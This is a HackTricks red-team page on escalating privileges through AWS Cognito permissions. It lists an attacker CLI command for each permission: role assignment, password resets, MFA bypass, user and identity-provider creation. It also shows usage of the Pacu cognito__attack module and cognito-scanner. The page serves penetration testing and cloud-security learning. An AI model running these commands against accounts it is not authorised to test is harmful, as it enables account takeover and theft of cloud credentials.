AWS - Cognito Privesc

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Cognito

For more info about Cognito check:

pageAWS - Cognito Enum

Gathering credentials from Identity Pool

As Cognito can grant IAM role credentials to both authenticated an unauthenticated users, if you locate the Identity Pool ID of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously).

For more information check this page.

Potential Impact: Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

With this permission you can grant any cognito role to the authenticated/unauthenticated users of the cognito app.

aws cognito-identity set-identity-pool-roles \
    --identity-pool-id <identity_pool_id> \
    --roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

If the cognito app doesn't have unauthenticated users enabled you might need also the permission cognito-identity:UpdateIdentityPool to enable it.

Potential Impact: Direct privesc to any cognito role.

cognito-identity:update-identity-pool

An attacker with this permission could set for example a Cognito User Pool under his control or any other identity provider where he can login as a way to access this Cognito Identity Pool. Then, just login on that user provider will allow him to access the configured authenticated role in the Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
    --identity-pool-id <value> \
    --identity-pool-name <value> \
    [--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
    --cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
    --identity-pool-id <id_pool_id> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
    --identity-id <identity_id> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

It's also possible to abuse this permission to allow basic auth:

aws cognito-identity update-identity-pool \
    --identity-pool-id <value> \
    --identity-pool-name <value> \
    --allow-unauthenticated-identities
    --allow-classic-flow

Potential Impact: Compromise the configured authenticated IAM role inside the identity pool.

cognito-idp:AdminAddUserToGroup

This permission allows to add a Cognito user to a Cognito group, therefore an attacker could abuse this permission to add an user under his control to other groups with better privileges or different IAM roles:

aws cognito-idp admin-add-user-to-group \
    --user-pool-id <value> \
    --username <value> \
    --group-name <value>

Potential Impact: Privesc to other Cognito groups and IAM roles attached to User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

An attacker with these permissions could create/update groups with every IAM role that can be used by a compromised Cognito Identity Provider and make a compromised user part of the group, accessing all those roles:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potential Impact: Privesc to other Cognito IAM roles.

cognito-idp:AdminConfirmSignUp

This permission allows to verify a signup. By default anyone can sign in Cognito applications, if that is left, a user could create an account with any data and verify it with this permission.

aws cognito-idp admin-confirm-sign-up \
    --user-pool-id <value> \
    --username <value>

Potential Impact: Indirect privesc to the identity pool IAM role for authenticated users if you can register a new user. Indirect privesc to other app functionalities being able to confirm any account.

cognito-idp:AdminCreateUser

This permission would allow an attacker to create a new user inside the user pool. The new user is created as enabled, but will need to change its password.

aws cognito-idp admin-create-user \
    --user-pool-id <value> \
    --username <value> \
    [--user-attributes <value>] ([Name=email,Value=email@gmail.com])
    [--validation-data <value>]
    [--temporary-password <value>]

Potential Impact: Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user

cognito-idp:AdminEnableUser

This permissions can help in. a very edge-case scenario where an attacker found the credentials of a disabled user and he needs to enable it again.

aws cognito-idp admin-enable-user \
    --user-pool-id <value> \
    --username <value>

Potential Impact: Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

This permission allows to login with the method ADMIN_USER_PASSWORD_AUTH. For more information follow the link.

cognito-idp:AdminSetUserPassword

This permission would allow an attacker to change the password of any user, making him able to impersonate any user (that doesn't have MFA enabled).

aws cognito-idp admin-set-user-password \
    --user-pool-id <value> \
    --username <value> \
    --password <value> \
    --permanent

Potential Impact: Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: An attacker could potentially abuse this permission to set a mobile phone under his control as SMS MFA of a user.

aws cognito-idp admin-set-user-settings \
    --user-pool-id <value> \
    --username <value> \
    --mfa-options <value>

SetUserMFAPreference: Similar to the previous one this permission can be used to set MFA preferences of a user to bypass the MFA protection.

aws cognito-idp admin-set-user-mfa-preference \
    [--sms-mfa-settings <value>] \
    [--software-token-mfa-settings <value>] \
    --username <value> \
    --user-pool-id <value>

SetUserPoolMfaConfig: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection.

aws cognito-idp set-user-pool-mfa-config \
    --user-pool-id <value> \
    [--sms-mfa-configuration <value>] \
    [--software-token-mfa-configuration <value>] \
    [--mfa-configuration <value>]

UpdateUserPool: It's also possible to update the user pool to change the MFA policy. Check cli here.

Potential Impact: Indirect privesc to potentially any user the attacker knows the credentials of, this could allow to bypass the MFA protection.

cognito-idp:AdminUpdateUserAttributes

An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application. This allows to change an email or phone number and set it as verified.

aws cognito-idp admin-update-user-attributes \
    --user-pool-id <value> \
    --username <value> \
    --user-attributes <value>

Potential Impact: Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

An attacker with this permission could create a new User Pool Client less restricted than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don't have any secret, have token revocation disabled, allow tokens to be valid for a longer period...

The same can be be don if instead of creating a new client, an existing one is modified.

In the command line (or the update one) you can see all the options, check it!.

aws cognito-idp create-user-pool-client \
    --user-pool-id <value> \
    --client-name <value> \
    [...]

Potential Impact: Potential indirect privesc to the Identity Pool authorized user used by the User Pool by creating a new client that relax the security measures and makes possible to an attacker to login with a user he was able to create.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

An attacker could abuse this permission to create users y uploading a csv with new users.

# Create a new import job
aws cognito-idp create-user-import-job \
    --job-name <value> \
    --user-pool-id <value> \
    --cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
    --user-pool-id <value> \
    --job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
    -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet).

Potential Impact: Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

An attacker could create a new identity provider to then be able to login through this provider.

aws cognito-idp create-identity-provider \
    --user-pool-id <value> \
    --provider-name <value> \
    --provider-type <value> \
    --provider-details <value> \
    [--attribute-mapping <value>] \
    [--idp-identifiers <value>]

Potential Impact: Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user.

cognito-sync:* Analysis

This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the given permissions aren't super useful from an attackers perspective.

This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info). Identity IDs might have Datasets assigned to them, which are information of the sessions (AWS define it like a saved game). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the enumeration page how to access this information.

An attacker could also use these permissions to enroll himself to a Cognito stream that publish changes on these datases or a lambda that triggers on cognito events. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible.

Automatic Tools

  • Pacu, the AWS exploitation framework, now includes the "cognito__enum" and "cognito__attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.

For a description of the modules' functions see part 2 of the blog post. For installation instructions see the main Pacu page.

Usage

Sample cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools 
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Sample cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner is a CLI tool in python that implements different attacks on Cognito including a privesc escalation.

Installation

$ pip install cognito-scanner

Usage

$ cognito-scanner --help

For more information check https://github.com/padok-team/cognito-scanner

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated